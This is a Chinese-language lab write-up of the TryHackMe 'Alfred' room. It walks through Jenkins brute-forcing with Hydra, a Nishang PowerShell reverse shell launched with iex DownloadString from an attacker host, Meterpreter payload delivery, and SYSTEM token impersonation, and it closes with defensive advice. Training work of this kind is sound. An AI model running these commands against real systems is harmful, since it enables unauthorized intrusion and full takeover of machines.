【THM】offensive-Alfred
字数 1267 2025-08-29 08:29:41
Jenkins安全配置错误漏洞利用与权限提升教学文档
1. 初始信息收集与扫描
1.1 目标探测
目标机器不响应ICMP ping请求,因此需要使用-Pn参数绕过ping探测。
nmap -Pn <目标IP>
1.2 端口扫描技术
推荐使用RustScan进行快速TCP连接扫描:
rustscan -a <目标IP> -- -sT
Nmap高级扫描选项:
-sC:使用默认Nmap脚本进行扫描-sV:扫描已发现服务的版本-sS:TCP SYN端口扫描(半开放扫描)-T<0-5>:时间模板(T0最慢,T5最快)-A:启用操作系统检测、版本检测、脚本扫描和跟踪路由
完整扫描命令示例:
nmap -Pn -sS -sV -sC -T4 -A <目标IP>
2. Jenkins登录爆破
2.1 识别登录表单参数
使用Burp Suite或浏览器开发者工具分析Jenkins登录请求:
- 确定HTTP方法(POST)
- 识别参数名(通常为
j_username和j_password) - 确定错误响应特征(如包含"Invalid username or password")
2.2 Hydra爆破配置
基本语法:
hydra -l <用户名> -P <密码字典> <目标IP> <服务>
Jenkins特定爆破命令:
hydra -s 8080 -L user.txt -P passwd.txt <目标IP> http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password" -f -vV -o login_brute_force.txt
参数说明:
-s 8080:指定非标准端口-L user.txt:用户名字典-P passwd.txt:密码字典http-post-form:指定HTTP POST表单攻击-f:找到第一个有效凭证后停止-vV:详细输出-o:保存结果到文件
2.3 其他服务爆破示例
SSH爆破:
hydra -L user.txt -P passwd.txt -vV -o ssh.log <目标IP> ssh
FTP爆破:
hydra -l mark -P /usr/share/wordlists/rockyou.txt <目标IP> ftp
RDP爆破:
hydra -l administrator -P 密码字典 <目标IP> rdp
SMB爆破:
hydra -l administrator -P 密码字典 <目标IP> smb
3. 初始访问获取
3.1 使用Nishang获取反向Shell
- 下载Nishang的Invoke-PowerShellTcp脚本:
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
- 在攻击机设置监听:
nc -lvnp 4444
- 修改脚本末尾添加连接命令:
Invoke-PowerShellTcp -Reverse -IPAddress <攻击机IP> -Port 4444
- 通过Jenkins执行脚本:
powershell iex (New-Object Net.WebClient).DownloadString('http://<攻击机IP>/Invoke-PowerShellTcp.ps1')
4. Shell升级与后渗透
4.1 升级到Meterpreter
- 生成Meterpreter payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=5555 -f exe > shell.exe
- 在攻击机启动Metasploit监听:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <攻击机IP>
set LPORT 5555
run
- 在目标机下载并执行payload:
(New-Object Net.WebClient).DownloadFile('http://<攻击机IP>/shell.exe', 'C:\Users\Public\shell.exe')
Start-Process 'C:\Users\Public\shell.exe'
4.2 令牌窃取提权
- 在Meterpreter中检查权限:
getuid
- 列出可用令牌:
use incognito
list_tokens -u
- 模拟高权限令牌:
impersonate_token "NT AUTHORITY\\SYSTEM"
- 验证提权:
getuid
5. 防御建议
5.1 Jenkins安全配置
- 禁用匿名访问
- 使用强密码策略
- 限制构建权限
- 定期更新Jenkins及插件
- 启用安全矩阵和项目矩阵授权
5.2 系统层面防御
- 限制服务账户权限
- 启用Windows Defender Credential Guard
- 配置本地安全策略限制令牌模拟
- 监控异常进程创建和网络连接
- 实施最小权限原则
6. 参考资源
- Nishang GitHub仓库:https://github.com/samratashok/nishang
- Metasploit框架文档:https://www.metasploit.com/
- Jenkins安全指南:https://www.jenkins.io/doc/book/security/
- Hydra使用手册:https://github.com/vanhauser-thc/thc-hydra